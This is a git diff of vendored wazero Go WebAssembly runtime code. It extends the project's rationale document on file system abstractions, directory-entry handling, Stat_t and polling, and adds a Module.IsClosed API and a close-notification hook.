-In summary, we return a `sys.ExitError` to the caller whenever we get it, as it -properly reflects the state of the module, which would be closed on this error. +Since `sys.ExitError` is not always returned, we added `Module.IsClosed` for +defensive checks. This helps integrators avoid calling functions which will +always fail. ### Why panic with `sys.ExitError` after a host function exits? @@ -531,7 +568,7 @@ In short, wazero defined system configuration in `ModuleConfig`, not a WASI type one spec to another with minimal impact. This has other helpful benefits, as centralized resources are simpler to close coherently (ex via `Module.Close`). -In reflection, this worked well as more ABI became usable in wazero. For example, `GOARCH=wasm GOOS=js` code uses the +In reflection, this worked well as more ABI became usable in wazero. For example, `GOOS=js GOARCH=wasm` code uses the same `ModuleConfig` (and `FSConfig`) WASI uses, and in compatible ways. ### Background on `ModuleConfig` design @@ -579,6 +616,135 @@ act differently and document `ModuleConfig` is more about emulating, not necessa ## File systems +### Motivation on `sys.FS` + +The `sys.FS` abstraction in wazero was created because of limitations in +`fs.FS`, and `fs.File` in Go. Compilers targeting `wasip1` may access +functionality that writes new files. The ability to overcome this was requested +even before wazero was named this, via issue #21 in March 2021. + +A month later, golang/go#45757 was raised by someone else on the same topic. As +of July 2023, this has not resolved to a writeable file system abstraction. + +Over the next year more use cases accumulated, consolidated in March 2022 into +#390. This closed in January 2023 with a milestone of providing more +functionality, limited to users giving a real directory. This didn't yet expose +a file abstraction for general purpose use. Internally, this used `os.File`. +However, a wasm module instance is a virtual machine. Only supporting `os.File` +breaks sand-boxing use cases. Moreover, `os.File` is not an interface. Even +though this abstracts functionality, it does allow interception use cases. + +Hence, a few days later in January 2023, we had more issues asking to expose an +abstraction, #1013 and later #1532, on use cases like masking access to files. +In other words, the use case requests never stopped, and aren't solved by +exposing only real files. + +In summary, the primary motivation for exposing a replacement for `fs.FS` and +`fs.File` was around repetitive use case requests for years, around +interception and the ability to create new files, both virtual and real files. +While some use cases are solved with real files, not all are. Regardless, an +interface approach is necessary to ensure users can intercept I/O operations. + +### Why doesn't `sys.File` have a `Fd()` method? + +There are many features we could expose. We could make File expose underlying +file descriptors in case they are supported, for integration of system calls +that accept multiple ones, namely `poll` for multiplexing. This special case is +described in a subsequent section. + +As noted above, users have been asking for a file abstraction for over two +years, and a common answer was to wait. Making users wait is a problem, +especially so long. Good reasons to make people wait are stabilization. Edge +case features are not a great reason to hold abstractions from users. + +Another reason is implementation difficulty. Go did not attempt to abstract +file descriptors. For example, unlike `fs.ReadFile` there is no `fs.FdFile` +interface. Most likely, this is because file descriptors are an implementation +detail of common features. Programming languages, including Go, do not require +end users to know about file descriptors. Types such as `fs.File` can be used +without any knowledge of them. Implementations may or may not have file +descriptors. For example, in Go, `os.DirFS` has underlying file descriptors +while `embed.FS` does not. + +Despite this, some may want to expose a non-standard interface because +`os.File` has `Fd() uintptr` to return a file descriptor. Mainly, this is +handy to integrate with `syscall` package functions (on `GOOS` values that +declare them). Notice, though that `uintptr` is unsafe and not an abstraction. +Close inspection will find some `os.File` types internally use `poll.FD` +instead, yet this is not possible to use abstractly because that type is not +exposed. For example, `plan9` uses a different type than `poll.FD`. In other +words, even in real files, `Fd()` is not wholly portable, despite it being +useful on many operating systems with the `syscall` package. + +The reasons above, why Go doesn't abstract `FdFile` interface are a subset of +reasons why `sys.File` does not. If we exposed `File.Fd()` we not only would +have to declare all the edge cases that Go describes including impact of +finalizers, we would have to describe these in terms of virtualized files. +Then, we would have to reason with this value vs our existing virtualized +`sys.FileTable`, mapping whatever type we return to keys in that table, also +in consideration of garbage collection impact. The combination of issues like +this could lead down a path of not implementing a file system abstraction at +all, and instead a weak key mapped abstraction of the `syscall` package. Once +we finished with all the edge cases, we would have lost context of the original +reason why we started.. simply to allow file write access! + +When wazero attempts to do more than what the Go programming language team, it +has to be carefully evaluated, to: +* Be possible to implement at least for `os.File` backed files +* Not be confusing or cognitively hard for virtual file systems and normal use. +* Affordable: custom code is solely the responsible by the core team, a much + smaller group of individuals than who maintain the Go programming language. + +Due to problems well known in Go, consideration of the end users who constantly +ask for basic file system functionality, and the difficulty virtualizing file +descriptors at multiple levels, we don't expose `Fd()` and likely won't ever +expose `Fd()` on `sys.File`. + +### Why does `sys.File` have a `Poll()` method, while `sys.FS` does not? + +wazero exposes `File.Poll` which allows one-at-a-time poll use cases, +requested by multiple users. This not only includes abstract tests such as +Go 1.21 `GOOS=wasip1`, but real use cases including python and container2wasm +repls, as well listen sockets. The main use cases is non-blocking poll on a +single file. Being a single file, this has no risk of problems such as +head-of-line blocking, even when emulated. + +The main use case of multi-poll are bidirectional network services, something +not used in `GOOS=wasip1` standard libraries, but could be in the future. +Moving forward without a multi-poller allows wazero to expose its file system +abstraction instead of continuing to hold back it back for edge cases. We'll +continue discussion below regardless, as rationale was requested. + +You can loop through multiple `sys.File`, using `File.Poll` to see if an event +is ready, but there is a head-of-line blocking problem. If a long timeout is +used, bad luck could have a file that has nothing to read or write before one +that does. This could cause more blocking than necessary, even if you could +poll the others just after with a zero timeout. What's worse than this is if +unlimited blocking was used (`timeout=-1`). The host implementations could use +goroutines to avoid this, but interrupting a "forever" poll is problematic. All +of these are reasons to consider a multi-poll API, but do not require exporting +`File.Fd()`. + +Should multi-poll becomes critical, `sys.FS` could expose a `Poll` function +like below, despite it being the non-portable, complicated if possible to +implement on all platforms and virtual file systems. +```go +ready, errno := fs.Poll([]sys.PollFile{{f1, sys.POLLIN}, {f2, sys.POLLOUT}}, timeoutMillis) +``` + +A real filesystem could handle this by using an approach like the internal +`unix.Poll` function in Go, passing file descriptors on unix platforms, or +returning `sys.ENOSYS` for unsupported operating systems. Implementation for +virtual files could have a strategy around timeout to avoid the worst case of +head-of-line blocking (unlimited timeout). + +Let's remember that when designing abstractions, it is not best to add an +interface for everything. Certainly, Go doesn't, as evidenced by them not +exposing `poll.FD` in `os.File`! Such a multi-poll could be limited to +built-in filesystems in the wazero repository, avoiding complexity of trying to +support and test this abstractly. This would still permit multiplexing for CLI +users, and also permit single file polling as exists now. + ### Why doesn't wazero implement the working directory? An early design of wazero's API included a `WithWorkDirFS` which allowed @@ -664,7 +830,7 @@ WASI is an abstraction over syscalls. For example, the signature of `fs.Open` does not permit use of flags. This creates conflict on what default behaviors to take when Go implemented `os.DirFS`. On the other hand, `path_open` can pass flags, and in fact tests require them to be honored in specific ways. This -extends beyond WASI as even `GOARCH=wasm GOOS=js` compiled code requires +extends beyond WASI as even `GOOS=js GOARCH=wasm` compiled code requires certain flags passed to `os.OpenFile` which are impossible to pass due to the signature of `fs.FS`. @@ -681,7 +847,61 @@ these to be easier to close. See https://github.com/WebAssembly/wasi-testsuite See https://github.com/golang/go/issues/58141 -### fd_pread: io.Seeker fallback when io.ReaderAt is not supported +## Why is our `Readdir` function more like Go's `os.File` than POSIX `readdir`? + +At one point we attempted to move from a bulk `Readdir` function to something +more like the POSIX `DIR` struct, exposing functions like `telldir`, `seekdir` +and `readdir`. However, we chose the design more like `os.File.Readdir`, +because it performs and fits wasip1 better. + +### wasip1/wasix + +`fd_readdir` in wasip1 (and so also wasix) is like `getdents` in Linux, not +`readdir` in POSIX. `getdents` is more like Go's `os.File.Readdir`. + +We currently have an internal type `sys.DirentCache` which only is used by +wasip1 or wasix. When `HostModuleBuilder` adds support for instantiation state, +we could move this to the `wasi_snapshot_preview1` package. Meanwhile, all +filesystem code is internal anyway, so this special-case is acceptable. + +### wasip2 + +`directory-entry-stream` in wasi-filesystem preview2 is defined in component +model, not an ABI, but in wasmtime it is a consuming iterator. A consuming +iterator is easy to support with anything (like `Readdir(1)`), even if it is +inefficient as you can neither bulk read nor skip. The implementation of the +preview1 adapter (uses preview2) confirms this. They use a dirent cache similar +in some ways to our `sysfs.DirentCache`. As there is no seek concept in +preview2, they interpret the cookie as numeric and read on repeat entries when +a cache wasn't available. Note: we currently do not skip-read like this as it +risks buffering large directories, and no user has requested entries before the +cache, yet. + +Regardless, wasip2 is not complete until the end of 2023. We can defer design +discussion until after it is stable and after the reference impl wasmtime +implements it. + +See + * https://github.com/WebAssembly/wasi-filesystem/blob/ef9fc87c07323a6827632edeb6a7388b31266c8e/example-world.md#directory_entry_stream + * https://github.com/bytecodealliance/wasmtime/blob/b741f7c79d72492d17ab8a29c8ffe4687715938e/crates/wasi/src/preview2/preview2/filesystem.rs#L286-L296 + * https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L2131-L2137 + * https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L936 + +### wasip3 + +`directory-entry-stream` is documented to change significantly in wasip3 moving +from synchronous to synchronous streams. This is dramatically different than +POSIX `readdir` which is synchronous. + +Regardless, wasip3 is not complete until after wasip2, which means 2024 or +later. We can defer design discussion until after it is stable and after the +reference impl wasmtime implements it. + +See + * https://github.com/WebAssembly/WASI/blob/ddfe3d1dda5d1473f37ecebc552ae20ce5fd319a/docs/WitInWasi.md#Streams + * https://docs.google.com/presentation/d/1MNVOZ8hdofO3tI0szg_i-Yoy0N2QPU2C--LzVuoGSlE/edit#slide=id.g1270ef7d5b6_0_662 + +### How do we implement `Pread` with an `fs.File`? `ReadAt` is the Go equivalent to `pread`: it does not affect, and is not affected by, the underlying file offset. Unfortunately, `io.ReaderAt` is not @@ -729,7 +949,7 @@ third `path_len` has ambiguous semantics. `path` offset for the exact length of `path_len`. Wasmer considers `path_len` to be the maximum length instead of the exact -length that should be written. +length that should be written. See https://github.com/wasmerio/wasmer/blob/3463c51268ed551933392a4063bd4f8e7498b0f6/lib/wasi/src/syscalls/mod.rs#L764 The semantics in wazero follows that of wasmtime. @@ -738,11 +958,84 @@ See https://github.com/bytecodealliance/wasmtime/blob/2ca01ae9478f199337cf743a6a Their semantics match when `path_len` == the length of `path`, so in practice this difference won't matter match. -## Why does fd_readdir not include dot (".") and dot-dot ("..") entries? - -When reading a directory, wazero code does not return dot (".") and dot-dot -("..") entries. The main reason is that Go does not return them from -`os.ReadDir`, and materializing them is complicated (at least dot-dot is). +## fd_readdir + +### Why does "wasi_snapshot_preview1" require dot entries when POSIX does not? + +In October 2019, WASI project knew requiring dot entries ("." and "..") was not +documented in preview1, not required by POSIX and problematic to synthesize. +For example, Windows runtimes backed by `FindNextFileW` could not return these. +A year later, the tag representing WASI preview 1 (`snapshot-01`) was made. +This did not include the requested change of making dot entries optional. + +The `phases/snapshot/docs.md` document was altered in subsequent years in +significant ways, often in lock-step with wasmtime or wasi-libc. In January +2022, `sock_accept` was added to `phases/snapshot/docs.md`, a document later +renamed to later renamed to `legacy/preview1/docs.md`. + +As a result, the ABI and behavior remained unstable: The `snapshot-01` tag was +not an effective basis of portability. A test suite was requested well before +this tag, in April 2019. Meanwhile, compliance had no meaning. Developers had +to track changes to the latest doc, while clarifying with wasi-libc or wasmtime +behavior. This lack of stability could have permitted a fix to the dot entries +problem, just as it permitted changes desired by other users. + +In November 2022, the wasi-testsuite project began and started solidifying +expectations. This quickly led to changes in runtimes and the spec doc. WASI +began importing tests from wasmtime as required behaviors for all runtimes. +Some changes implied changes to wasi-libc. For example, `readdir` began to +imply inode fan-outs, which caused performance regressions. Most notably a +test merged in January required dot entries. Tests were merged without running +against any runtime, and even when run ad-hoc only against Linux. Hence, +portability issues mentioned over three years earlier did not trigger any +failure until wazero (which tests Windows) noticed. + +In the same month, wazero requested to revert this change primarily because +Go does not return them from `os.ReadDir`, and materializing them is +complicated due to tests also requiring inodes. Moreover, they are discarded by +not just Go, but other common programming languages. This was rejected by the +WASI lead for preview1, but considered for the completely different ABI named +preview2. + +In February 2023, the WASI chair declared that new rule requiring preview1 to +return dot entries "was decided by the subgroup as a whole", citing meeting +notes. According to these notes, the WASI lead stated incorrectly that POSIX +conformance required returning dot entries, something it explicitly says are +optional. In other words, he said filtering them out would make Preview1 +non-conforming, and asked if anyone objects to this. The co-chair was noted to +say "Because there are existing P1 programs, we shouldn’t make changes like +this." No other were recorded to say anything. + +In summary, preview1 was changed retrospectively to require dot entries and +preview2 was changed to require their absence. This rule was reverse engineered +from wasmtime tests, and affirmed on two false premises: + +* POSIX compliance requires dot entries + * POSIX literally says these are optional +* WASI cannot make changes because there are existing P1 programs. + * Changes to Preview 1 happened before and after this topic. + +As of June 2023, wasi-testsuite still only runs on Linux, so compliance of this +rule on Windows is left to runtimes to decide to validate. The preview2 adapter +uses fake cookies zero and one to refer to dot dirents, uses a real inode for +the dot(".") entry and zero inode for dot-dot(".."). + +See https://github.com/WebAssembly/wasi-filesystem/issues/3 +See https://github.com/WebAssembly/WASI/tree/snapshot-01 +See https://github.com/WebAssembly/WASI/issues/9 +See https://github.com/WebAssembly/WASI/pull/458 +See https://github.com/WebAssembly/wasi-testsuite/pull/32 +See https://github.com/WebAssembly/wasi-libc/pull/345 +See https://github.com/WebAssembly/wasi-testsuite/issues/52 +See https://github.com/WebAssembly/WASI/pull/516 +See https://github.com/WebAssembly/meetings/blob/main/wasi/2023/WASI-02-09.md#should-preview1-fd_readdir-filter-out--and- +See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041 + +### Why are dot (".") and dot-dot ("..") entries problematic? + +When reading a directory, dot (".") and dot-dot ("..") entries are problematic. +For example, Go does not return them from `os.ReadDir`, and materializing them +is complicated (at least dot-dot is). A directory entry has stat information in it. The stat information includes inode which is used for comparing file equivalence. In the simple case of dot, @@ -758,7 +1051,19 @@ well, such as the decision to not return ".." from a root path. In any case, this should start to explain that faking entries when underlying stdlib doesn't return them is tricky and requires quite a lot of state. -Even if we did that, it would cause expense to all users of wazero, so we'd +Another issue is around the `Dirent.Off` value of a directory entry, sometimes +called a "cookie" in Linux man pagers. When the host operating system or +library function does not return dot entries, to support functions such as +`seekdir`, you still need a value for `Dirent.Off`. Naively, you can synthesize +these by choosing sequential offsets zero and one. However, POSIX strictly says +offsets should be treated opaquely. The backing filesystem could use these to +represent real entries. For example, a directory with one entry could use zero +as the `Dirent.Off` value. If you also used zero for the "." dirent, there +would be a clash. This means if you synthesize `Dirent.Off` for any entry, you +need to synthesize this value for all entries. In practice, the simplest way is +using an incrementing number, such as done in the WASI preview2 adapter. + +Working around these issues causes expense to all users of wazero, so we'd then look to see if that would be justified or not. However, the most common compilers involved in end user questions, as of early 2023 are TinyGo, Rust and Zig. All of these compile code which ignores dot and dot-dot entries. In other @@ -773,12 +1078,100 @@ which summarizes to "these are optional" > The readdir() function shall not return directory entries containing empty names. If entries for dot or dot-dot exist, one entry shall be returned for dot and one entry shall be returned for dot-dot; otherwise, they shall not be returned. -In summary, wazero not only doesn't return dot and dot-dot entries because Go -doesn't and emulating them in spite of that would result in no difference -except hire overhead to the majority of our users. +Unfortunately, as described above, the WASI project decided in early 2023 to +require dot entries in both the spec and the wasi-testsuite. For only this +reason, wazero adds overhead to synthesize dot entries despite it being +unnecessary for most users. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html See https://github.com/golang/go/blob/go1.20/src/os/dir_unix.go#L108-L110 +See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041 + +### Why don't we pre-populate an inode for the dot-dot ("..") entry? + +We only populate an inode for dot (".") because wasi-testsuite requires it, and +we likely already have it (because we cache it). We could attempt to populate +one for dot-dot (".."), but chose not to. + +Firstly, wasi-testsuite does not require the inode of dot-dot, possibly because +the wasip2 adapter doesn't populate it (but we don't really know why). + +The only other reason to populate it would be to avoid wasi-libc's stat fanout +when it is missing. However, wasi-libc explicitly doesn't fan-out to lstat on +the ".." entry on a zero ino. + +Fetching dot-dot's inode despite the above not only doesn't help wasi-libc, but +it also hurts languages that don't use it, such as Go. These languages would +pay a stat syscall penalty even if they don't need the inode. In fact, Go +discards both dot entries! + +In summary, there are no significant upsides in attempting to pre-fetch +dot-dot's inode, and there are downsides to doing it anyway. + +See + * https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94 + * https://github.com/WebAssembly/wasi-testsuite/blob/main/tests/rust/src/bin/fd_readdir.rs#L108 + * https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1037 + +### Why don't we require inodes to be non-zero? + +We don't require a non-zero value for `Dirent.Ino` because doing so can prevent +a real one from resolving later via `Stat_t.Ino`. + +We define `Ino` like `d_ino` in POSIX which doesn't special-case zero. It can +be zero for a few reasons: + +* The file is not a regular file or directory. +* The underlying filesystem does not support inodes. e.g. embed:fs +* A directory doesn't include inodes, but a later stat can. e.g. Windows +* The backend is based on wasi-filesystem (a.k.a wasip2), which has + `directory_entry.inode` optional, and might remove it entirely. + +There are other downsides to returning a zero inode in widely used compilers: + +* File equivalence utilities, like `os.SameFile` will not work. +* wasi-libc's `wasip1` mode will call `lstat` and attempt to retrieve a + non-zero value (unless the entry is named ".."). + +A new compiler may accidentally skip a `Dirent` with a zero `Ino` if emulating +a non-POSIX function and re-using `Dirent.Ino` for `d_fileno`. + +* Linux `getdents` doesn't define `d_fileno` must be non-zero +* BSD `getdirentries` is implementation specific. For example, OpenBSD will + return dirents with a zero `d_fileno`, but Darwin will skip them. + +The above shouldn't be a problem, even in the case of BSD, because `wasip1` is +defined more in terms of `getdents` than `getdirentries`. The bottom half of +either should treat `wasip1` (or any similar ABI such as wasix or wasip2) as a +different operating system and either use different logic that doesn't skip, or +synthesize a fake non-zero `d_fileno` when `d_ino` is zero. + +However, this has been a problem. Go's `syscall.ParseDirent` utility is shared +for all `GOOS=unix`. For simplicity, this abstracts `direntIno` with data from +`d_fileno` or `d_ino`, and drops if either are zero, even if `d_fileno` is the +only field with zero explicitly defined. This led to a change to special case +`GOOS=wasip1` as otherwise virtual files would be unconditionally skipped. + +In practice, this problem is rather unique due to so many compilers relying on +wasi-libc, which tolerates a zero inode. For example, while issues were +reported about the performance regression when wasi-libc began doing a fan-out +on zero `Dirent.Ino`, no issues were reported about dirents being dropped as a +result. + +In summary, rather than complicating implementation and forcing non-zero inodes +for a rare case, we permit zero. We instead document this topic thoroughly, so +that emerging compilers can re-use the research and reference it on conflict. +We also document that `Ino` should be non-zero, so that users implementing that +field will attempt to get it. + +See + * https://github.com/WebAssembly/wasi-filesystem/pull/81 + * https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94 + * https://linux.die.net/man/3/getdents + * https://www.unix.com/man-page/osx/2/getdirentries/ + * https://man.openbsd.org/OpenBSD-5.4/getdirentries.2 + * https://github.com/golang/go/blob/go1.20/src/syscall/dirent.go#L60-L102 + * https://go-review.googlesource.com/c/go/+/507915 ## sys.Walltime and Nanotime @@ -907,6 +1300,68 @@ See https://github.com/WebAssembly/stack-switching/discussions/38 See https://github.com/WebAssembly/wasi-threads#what-can-be-skipped See https://slinkydeveloper.com/Kubernetes-controllers-A-New-Hope/ +## sys.Stat_t + +We expose `stat` information as `sys.Stat_t`, like `syscall.Stat_t` except +defined without build constraints. For example, you can use `sys.Stat_t` on +`GOOS=windows` which doesn't define `syscall.Stat_t`. + +The first use case of this is to return inodes from `fs.FileInfo` without +relying on platform-specifics. For example, a user could return `*sys.Stat_t` +from `info.Sys()` and define a non-zero inode for a virtual file, or map a +real inode to a virtual one. + +Notable choices per field are listed below, where `sys.Stat_t` is unlike +`syscall.Stat_t` on `GOOS=linux`, or needs clarification. One common issue +not repeated below is that numeric fields are 64-bit when at least one platform +defines it that large. Also, zero values are equivalent to nil or absent. + +* `Dev` and `Ino` (`Inode`) are both defined unsigned as they are defined + opaque, and most `syscall.Stat_t` also defined them unsigned. There are + separate sections in this document discussing the impact of zero in `Ino`. +* `Mode` is defined as a `fs.FileMode` even though that is not defined in POSIX + and will not map to all possible values. This is because the current use is + WASI, which doesn't define any types or features not already supported. By + using `fs.FileMode`, we can re-use routine experience in Go. +* `NLink` is unsigned because it is defined that way in `syscall.Stat_t`: there + can never be less than zero links to a file. We suggest defaulting to 1 in + conversions when information is not knowable because at least that many links + exist. +* `Size` is signed because it is defined that way in `syscall.Stat_t`: while + regular files and directories will always be non-negative, irregular files + are possibly negative or not defined. Notably sparse files are known to + return negative values. +* `Atim`, `Mtim` and `Ctim` are signed because they are defined that way in + `syscall.Stat_t`: Negative values are time before 1970. The resolution is + nanosecond because that's the maximum resolution currently supported in Go. + +### Why do we use `sys.EpochNanos` instead of `time.Time` or similar? + +To simplify documentation, we defined a type alias `sys.EpochNanos` for int64. +`time.Time` is a data structure, and we could have used this for +`syscall.Stat_t` time values. The most important reason we do not is conversion +penalty deriving time from common types. + +The most common ABI used in `wasip2`. This, and compatible ABI such as `wasix`, +encode timestamps in memory as a 64-bit number. If we used `time.Time`, we +would have to convert an underlying type like `syscall.Timespec` to `time.Time` +only to later have to call `.UnixNano()` to convert it back to a 64-bit number. + +In the future, the component model module "wasi-filesystem" may represent stat +timestamps with a type shared with "wasi-clocks", abstractly structured similar +to `time.Time`. However, component model intentionally does not define an ABI. +It is likely that the canonical ABI for timestamp will be in two parts, but it +is not required for it to be intermediately represented this way. A utility +like `syscall.NsecToTimespec` could split an int64 so that it could be written +to memory as 96 bytes (int64, int32), without allocating a struct. + +Finally, some may confuse epoch nanoseconds with 32-bit epoch seconds. While +32-bit epoch seconds has "The year 2038" problem, epoch nanoseconds has +"The Year 2262" problem, which is even less concerning for this library. If +the Go programming language and wazero exist in the 2200's, we can make a major +version increment to adjust the `sys.EpochNanos` approach. Meanwhile, we have +faster code. + ## poll_oneoff `poll_oneoff` is a WASI API for waiting for I/O events on multiple handles. @@ -944,19 +1399,18 @@ as for regular file descriptors: data is assumed to be present and a success is written back to the result buffer. However, if the reader is detected to read from `os.Stdin`, -a special code path is followed, invoking `platform.Select()`. +a special code path is followed, invoking `sysfs.poll()`. -`platform.Select()` is a wrapper for `select(2)` on POSIX systems, -and it is mocked for a handful of cases also on Windows. +`sysfs.poll()` is a wrapper for `poll(2)` on POSIX systems, +and it is emulated on Windows. -### Select on POSIX +### Poll on POSIX -On POSIX systems,`select(2)` allows to wait for incoming data on a file +On POSIX systems, `poll(2)` allows to wait for incoming data on a file descriptor, and block until either data becomes available or the timeout -expires. It is not surprising that `select(2)` and `poll(2)` have lot in common: -the main difference is how the file descriptor parameters are passed. +expires. -Usage of `platform.Select()` is only reserved for the standard input case, because +Usage of `syfs.poll()` is currently only reserved for standard input, because 1. it is really only necessary to handle interactive input: otherwise, there is no way in Go to peek from Standard Input without actually @@ -965,11 +1419,11 @@ Usage of `platform.Select()` is only reserved for the standard input case, becau 2. if `Stdin` is connected to a pipe, it is ok in most cases to return with success immediately; -3. `platform.Select()` is currently a blocking call, irrespective of goroutines, +3. `syfs.poll()` is currently a blocking call, irrespective of goroutines, because the underlying syscall is; thus, it is better to limit its usage. So, if the subscription is for `os.Stdin` and the handle is detected -to correspond to an interactive session, then `platform.Select()` will be +to correspond to an interactive session, then `sysfs.poll()` will be invoked with a the `Stdin` handle *and* the timeout. This also means that in this specific case, the timeout is uninterruptible, @@ -977,25 +1431,46 @@ unless data becomes available on `Stdin` itself. ### Select on Windows -On Windows the `platform.Select()` is much more straightforward, -and it really just replicates the behavior found in the general cases -for `FdRead` subscriptions: in other words, the subscription to `Stdin` -is immediately acknowledged. +On Windows `sysfs.poll()` cannot be delegated to a single +syscall, because there is no single syscall to handle sockets, +pipes and regular files. + +Instead, we emulate its behavior for the cases that are currently +of interest. + +- For regular files, we _always_ report them as ready, as +[most operating systems do anyway][async-io-windows]. + +- For pipes, we invoke [`PeekNamedPipe`][peeknamedpipe] +for each file handle we detect is a pipe open for reading. +We currently ignore pipes open for writing. + +- Notably, we include also support for sockets using the [WinSock +implementation of `poll`][wsapoll], but instead +of relying on the timeout argument of the `WSAPoll` function, +we set a 0-duration timeout so that it behaves like a peek. + +This way, we can check for regular files all at once, +at the beginning of the function, then we poll pipes and +sockets periodically using a cancellable `time.Tick`, +which plays nicely with the rest of the Go runtime. -The implementation also support a timeout, but in this case -it relies on `time.Sleep()`, which notably, as compared to the POSIX -case, interruptible and compatible with goroutines. +### Impact of blocking -However, because `Stdin` subscriptions are always acknowledged -without wait and because this code path is always followed only -when at least one `Stdin` subscription is present, then the -timeout is effectively always handled externally. +Because this is a blocking syscall, it will also block the carrier thread of +the goroutine, preventing any means to support context cancellation directly. -In any case, the behavior of `platform.Select` on Windows -is sensibly different from the behavior on POSIX platforms; -we plan to refine and further align it in semantics in the future. +There are ways to obviate this issue. We outline here one idea, that is however +not currently implemented. A common approach to support context cancellation is +to add a signal file descriptor to the set, e.g. the read-end of a pipe or an +eventfd on Linux. When the context is canceled, we may unblock a Select call by +writing to the fd, causing it to return immediately. This however requires to +do a bit of housekeeping to hide the "special" FD from the end-user. [poll_oneoff]: https://github.com/WebAssembly/wasi-poll#why-is-the-function-called-poll_oneoff +[async-io-windows]: https://tinyclouds.org/iocp_links +[peeknamedpipe]: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe +[wsapoll]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll ## Signed encoding of integer global constant initializers diff --git a/vendor/github.com/tetratelabs/wazero/api/wasm.go b/vendor/github.com/tetratelabs/wazero/api/wasm.go index 38728b4273..f611d3eac2 100644 --- a/vendor/github.com/tetratelabs/wazero/api/wasm.go +++ b/vendor/github.com/tetratelabs/wazero/api/wasm.go @@ -150,6 +150,10 @@ type Module interface { Memory() Memory // ExportedFunction returns a function exported from this module or nil if it wasn't. + // + // Note: The default wazero.ModuleConfig attempts to invoke `_start`, which + // in rare cases can close the module. When in doubt, check IsClosed prior + // to invoking a function export after instantiation. ExportedFunction(name string) Function // ExportedFunctionDefinitions returns all the exported function @@ -190,6 +194,21 @@ type Module interface { // Closer closes this module by delegating to CloseWithExitCode with an exit code of zero. Closer + // IsClosed returns true if the module is closed, so no longer usable. + // + // This can happen for the following reasons: + // - Closer was called directly. + // - A guest function called Closer indirectly, such as `_start` calling + // `proc_exit`, which internally closed the module. + // - wazero.RuntimeConfig `WithCloseOnContextDone` was enabled and a + // context completion closed the module. + // + // Where any of the above are possible, check this value before calling an + // ExportedFunction, even if you didn't formerly receive a sys.ExitError. + // sys.ExitError is only returned on non-zero code, something that closes + // the module successfully will not result it one. + IsClosed() bool + internalapi.WazeroOnly } diff --git a/vendor/github.com/tetratelabs/wazero/config.go b/vendor/github.com/tetratelabs/wazero/config.go index 56a32fcf5b..70219b055f 100644 --- a/vendor/github.com/tetratelabs/wazero/config.go +++ b/vendor/github.com/tetratelabs/wazero/config.go @@ -11,10 +11,10 @@ import ( "time" "github.com/tetratelabs/wazero/api" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/engine/compiler" "github.com/tetratelabs/wazero/internal/engine/interpreter" "github.com/tetratelabs/wazero/internal/filecache" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/internalapi" "github.com/tetratelabs/wazero/internal/platform" internalsock "github.com/tetratelabs/wazero/internal/sock" @@ -490,12 +490,19 @@ type ModuleConfig interface { // WithStartFunctions configures the functions to call after the module is // instantiated. Defaults to "_start". // + // Clearing the default is supported, via `WithStartFunctions()`. + // // # Notes // - // - If any function doesn't exist, it is skipped. However, all functions - // that do exist are called in order. - // - Some start functions may exit the module during instantiate with a - // sys.ExitError (e.g. emscripten), preventing use of exported functions. + // - If a start function doesn't exist, it is skipped. However, any that + // do exist are called in order. + // - Start functions are not intended to be called multiple times. + // Functions that should be called multiple times should be invoked + // manually via api.Module's `ExportedFunction` method. + // - Start functions commonly exit the module during instantiation, + // preventing use of any functions later. This is the case in "wasip1", + // which defines the default value "_start". + // - See /RATIONALE.md for motivation of this feature. WithStartFunctions(...string) ModuleConfig // WithStderr configures where standard error (file descriptor 2) is written. Defaults to io.Discard. @@ -839,11 +846,10 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) { environ = append(environ, result) } - var fs fsapi.FS + var fs []experimentalsys.FS + var guestPaths []string if f, ok := c.fsConfig.(*fsConfig); ok { - if fs, err = f.toFS(); err != nil { - return - } + fs, guestPaths = f.preopens() } var listeners []*net.TCPListener @@ -864,7 +870,7 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) { c.walltime, c.walltimeResolution, c.nanotime, c.nanotimeResolution, c.nanosleep, c.osyield, - fs, + fs, guestPaths, listeners, ) } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/close.go b/vendor/github.com/tetratelabs/wazero/experimental/close.go new file mode 100644 index 0000000000..1c37e8c030 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/close.go @@ -0,0 +1,63 @@ +package experimental + +import ( + "context" + + "github.com/tetratelabs/wazero/internal/close" +) + +// CloseNotifier is a notification hook, invoked when a module is closed. +// +// Note: This is experimental progress towards #1197, and likely to change. Do +// not expose this in shared libraries as it can cause version locks. +type CloseNotifier interface { + // CloseNotify is a notification that occurs *before* an api.Module is + // closed. `exitCode` is zero on success or in the case there was no exit + // code. + // + // Notes: + // - This does not return an error because the module will be closed + // unconditionally. + // - Do not panic from this function as it doing so could cause resource + // leaks. + // - While this is only called once per module, if configured for + // multiple modules, it will be called for each, e.g. on runtime close. + CloseNotify(ctx context.Context, exitCode uint32) +} + +// ^-- Note: This might need to be a part of the listener or become a part of +// host state implementation. For example, if this is used to implement state 